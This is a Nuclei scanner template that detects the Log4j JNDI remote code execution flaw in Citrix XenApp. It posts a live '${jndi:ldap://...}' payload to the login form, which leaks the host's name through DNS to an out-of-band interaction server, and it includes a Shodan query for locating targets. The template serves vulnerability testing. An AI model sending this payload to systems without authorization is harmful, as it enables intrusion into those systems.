id: citrix-xenapp-log4j-rce

info:
  name: Citrix XenApp - Remote Code Execution (Apache Log4j)
  author: shaikhyaser
  severity: critical
  description: |
    Citrix XenApp is susceptible to Log4j JNDI remote code execution. Citrix Virtual Apps is an application virtualization software produced by Citrix Systems that allows Windows applications to be accessed via individual devices from a shared server or cloud system.
  reference:
    - https://support.citrix.com/article/CTX335705
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2021-44228
    cwe-id: CWE-77
  metadata:
    max-request: 1
    shodan-query: html:"/citrix/xenapp"
  tags: cve,cve2021,rce,jndi,log4j,citrix,oast,kev
variables:
  rand1: '{{rand_int(111, 999)}}'
  rand2: '{{rand_int(111, 999)}}'
  str: "{{rand_base(5)}}"

http:
  - raw:
      - |
        POST /Citrix/XenApp/auth/login.aspx HTTP/1.1
        Host: {{Hostname}}
        Cookie: WIClientInfo="clientConnSecure#false";
        Origin: {{RootURL}}
        Referer: {{RootURL}}/Citrix/XenApp/auth/login.aspx?CTX_MessageType=WARNING&CTX_MessageKey=NoUsableClientDetected
        Content-Type: application/x-www-form-urlencoded

        LoginType=Explicit&user=${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.username.{{interactsh-url}}/{{str}}}&password={{str}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol #Confirms the DNS Interaction
        words:
          - "dns"

      - type: regex
        part: interactsh_request
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' #Print extracted ${:-{{rand1}}}${:-{{rand2}}}.${hostName} in output

    extractors:
      - type: kval
        kval:
          - interactsh_ip #Print remote interaction IP in output

      - type: regex
        group: 2
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' #Print injection point in output
        part: interactsh_request

      - type: regex
        group: 1
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' #Print extracted ${:-{{rand1}}}${:-{{rand2}}}.${hostName} in output
        part: interactsh_request

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